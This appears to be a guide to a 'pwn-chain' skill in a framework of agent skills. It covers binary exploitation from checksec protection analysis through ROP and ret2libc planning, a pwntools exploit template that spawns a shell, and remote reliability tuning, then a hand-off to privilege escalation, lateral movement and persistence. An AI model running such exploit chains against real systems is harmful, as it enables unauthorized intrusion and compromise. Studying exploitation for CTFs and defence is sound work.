How the pwn-chain Module Progresses from Reverse Engineering to Exploitation in zhaoxuya520/reverse-skill

The pwn-chain skill transforms static reverse‑engineering insights into stable remote exploits through an 8‑phase ordered workflow that bridges vulnerability identification to working shell access.

The pwn-chain module in zhaoxuya520/reverse-skill closes the critical gap between knowing where a vulnerability exists and having a reliable exploit that works in production environments. This guide walks through the complete progression—from preconditions and protection analysis to remote stabilization and hand-off to post-exploitation.

Prerequisites and Preconditions

Before the pwn-chain workflow activates, two conditions must be satisfied as defined in field-journal/precedent-reverse.md:

• The task must be authorized and documented
• The binary and vulnerability point must already be identified

These inputs typically come from upstream skills such as reverse-engineering/, ida-reverse/, or radare2/. The pwn-chain does not perform initial discovery—it specializes in exploitation engineering.

Phase 1: Identify Vulnerability Type and Protections

The workflow begins with binary reconnaissance to classify the bug and enumerate defenses. Run standard tools to build a protection profile:

checksec ./vuln
file ./vuln
readelf -h ./vuln

This determines:

Protection	Impact on Strategy
NX (No-eXecute)	Prevents stack shellcode; pivot to ROP or ret2libc
PIE (Position-Independent Executable)	Requires leak or partial overwrite for code addresses
Canary	Needs leak or bypass before control hijack
RELRO (Full/Partial)	Affects GOT overwrite viability
ASLR	Requires information leak or brute-force

Based on this classification, the skill directs you to the appropriate reference file:

• references/stack-pwn.md for stack overflows
• references/heap-pwn.md for heap corruption
• references/kernel-pwn.md for kernel vulnerabilities

Phase 2: Choose Exploitation Strategy

Protection combinations dictate the technical approach. The pwn-chain module encodes these decision paths directly in SKILL.md:

• NX + no ASLR → inject shellcode on writable/executable regions
• NX + known libc → ret2libc or one_gadget for direct shell
• NX + unknown libc → leak libc address → query libc-database → compute base
• Heap bugs → tcache poisoning, fastbin dup, or unsorted bin attack
• Kernel bugs → commit_creds, modprobe_path overwrite, or kROP

Each path pulls gadget templates and version-specific nuances from the corresponding reference documentation.

Phase 3: Prepare Libc and ROP Gadgets

For libc-dependent exploits, locate the correct libc.so.6 and harvest gadgets:

# Identify libc version from leaked symbol

./libc-database/find puts 0x6f0

# Compute libc base from leaked address

libc_base=$((leaked_puts - puts_offset))

# Generate ROP chain components

ROPgadget --binary ./vuln --only "pop|ret" > gadgets.txt
one_gadget ./libc.so.6

The bootstrap automation in skills/pwn-chain/SKILL.md (lines 25-34) ensures these tools are present:

for t in pwntools ropgadget ropper; do
  pip show $t >/dev/null 2>&1 || pip install $t
done

command -v one_gadget >/dev/null || gem install one_gadget

Phase 4: Write the pwntools Exploit Template

Translate analysis into weaponized Python. The pwn-chain prescribes a standard template structure:

from pwn import *

context.binary = ELF('./vuln')

# context.log_level = 'debug'

p = process('./vuln')               # Local testing

# p = remote('target.host', 1337)   # Production

# Build payload from reverse-engineered offsets

payload = cyclic(40)                # Find offset with cyclic(100) → gdb

payload += p64(canary)              # If stack canary known/leaked

payload += p64(ret_gadget)          # Stack alignment fix

payload += p64(pop_rdi) + p64(bin_sh_addr)
payload += p64(system_addr)

p.sendlineafter(b'Input:', payload)
p.interactive()                     # Drop to interactive shell

This template bridges static analysis (offset distances, gadget addresses) to dynamic execution.

Phase 5: Achieve Local Exploit Pass

Iterate locally with GEF or pwndbg to validate assumptions:

• Attach debugger: gdb.attach(p) or p = gdb.debug('./vuln')
• Inspect crash state: registers, stack layout, heap metadata
• Adjust offsets based on actual memory layout vs. static analysis
• Confirm EIP/RIP control and successful payload delivery

This feedback loop validates that reverse-engineering conclusions hold in practice.

Phase 6: Remote Stabilization (The Engineering Gap)

Local success does not guarantee remote reliability. The pwn-chain enforces hardening steps documented in SKILL.md (lines 78-82):

Technique	Purpose
Leak and compute libc base	Address ASLR on remote target
Add ret gadget for stack alignment	Fix 16-byte alignment requirements (GLIBC 2.27+)
Use recvuntil instead of sleep	Eliminate race conditions in timing-sensitive I/O
Amplify heap sprays, add padding	Prevent chunk merging; improve reliability
≥20 successful test runs	Confirm ≥95% success rate before declaring stable

Remote validation distinguishes proof-of-concept exploits from production-capable tools.

Phase 7: Hand-off to attack-chain Skill

Once a stable shell is obtained, the pwn-chain workflow explicitly terminates and passes control downstream. Per SKILL.md (lines 87-92) and docs/ARCHITECTURE.md (line 56), the next phase is handled by attack-chain/ for:

• Privilege escalation
• Lateral movement
• Persistence mechanisms

This separation keeps skills composable and auditable— each module has a single, well-defined responsibility.

Architecture and Routing

The pwn-chain's position in the broader framework is visualized in docs/ARCHITECTURE.md:

RE analysis → vulnerability identified → pwn-chain → working exploit → attack-chain

Routing from skills/MASTER-ROUTING.md maps the "pwn" keyword directly to this skill, enabling automated skill selection based on task classification.

Summary

• pwn-chain transforms reverse-engineering output into reliable remote exploits through 8 ordered phases
• Protection analysis (checksec, file, readelf) determines exploitation path and reference document selection
• Bootstrap automation installs pwntools, ROPgadget, one_gadget, and libc-database automatically
• Remote stabilization requirements (≥20 successful runs, alignment fixes, timing hardening) close the "local-only" gap
• Explicit hand-off to attack-chain/ maintains clean skill boundaries and composable workflows

Frequently Asked Questions

What upstream skills feed into pwn-chain?

The pwn-chain module expects input from reverse-engineering/, ida-reverse/, or radare2/ skills that have already identified the binary structure and vulnerability location. The authorization check in field-journal/precedent-reverse.md verifies this prerequisite is satisfied.

How does pwn-chain handle unknown libc versions?

When the target libc is unidentified, the workflow leaks a known symbol address (typically puts, printf, or READ from the GOT), queries libc-database to match the version, then computes the libc base address dynamically. This enables ret2libc and one_gadget attacks even against blind remote targets.

Why does the skill require 20 successful test runs?

The ≥20 run threshold (specified in SKILL.md, lines 78-82) filters out fragile exploits that depend on specific heap states, race conditions, or address layout assumptions. This enforces production-grade reliability rather than accepting proof-of-concept quality.

What distinguishes pwn-chain from generic exploit tutorials?

The skill is tightly integrated into a larger autonomous framework: it consumes standardized reverse-engineering outputs, enforces tool dependency management through bootstrap scripts, and explicitly hands off to post-exploitation modules. This structure supports automation and auditability rather than ad-hoc exploitation.

{
  "mcpServers": {
    "instagit": {
      "command": "npx",
      "args": ["-y", "instagit@latest"]
    }
  }
}